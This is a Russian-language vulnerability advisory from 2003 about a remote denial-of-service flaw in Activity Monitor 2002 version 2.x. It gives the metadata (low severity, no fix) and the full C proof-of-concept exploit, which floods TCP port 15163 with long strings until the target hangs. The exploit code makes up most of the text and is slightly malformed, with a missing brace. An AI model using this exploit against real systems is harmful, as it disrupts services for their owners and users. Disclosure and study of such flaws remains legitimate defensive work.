Дата публикации: | 02.06.2003 |
Всего просмотров: | 1610 |
Опасность: | Низкая |
Наличие исправления: | Нет |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | Локальная сеть |
Воздействие: | Отказ в обслуживании |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | Activity Monitor 2002 2.x |
Описание: | Отказ в обслуживании обнаружен в Activity Monitor 2002. удаленный пользователь может аварийно завершить работу приложения.
Сообщается, что удаленный пользователь может подключиться к приложению через 15163 TСP порт и послать длинную строку, чтобы заставить приложение использовать 100% ресурсов центрального процессора, что, в конечном счете, приведет к зависанию системы. Эксплоит: #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) int i,ck,port,sd; char dos[10000]; struct sockaddr_in act_mon_server; if(argc < 2) { printf("\nUsage: %s <ip>\n", argv[0]); exit(0); } port = 15163; for(i = 0; i < 10000; i++) dos[i] = 'x'; act_mon_server.sin_family = AF_INET; act_mon_server.sin_port = htons((u_short)port); act_mon_server.sin_addr.s_addr = (long)inet_addr(argv[1]); sd = socket(AF_INET, SOCK_STREAM, 0); ck = connect(sd, (struct sockaddr *) &act_mon_server, sizeof (act_mon_server)); if(ck != 0) { perror("Connect"); exit(0); } printf("\n\t\tProof of Concept Activity Monitor 2002 DoS\n"); printf("\t\tby Luca Ercoli luca.ercoli@inwind.it\n\n"); write(sd, dos, sizeof(dos)); write(sd, dos, sizeof(dos)); write(sd, dos, sizeof(dos)); printf("\nDoS sent!\n"); close(sd); exit(0);Уязвимость обнаружена в Activity Monitor 2002 2.6 |
Ссылки: | : Activity Monitor 2002 remote Denial of Service |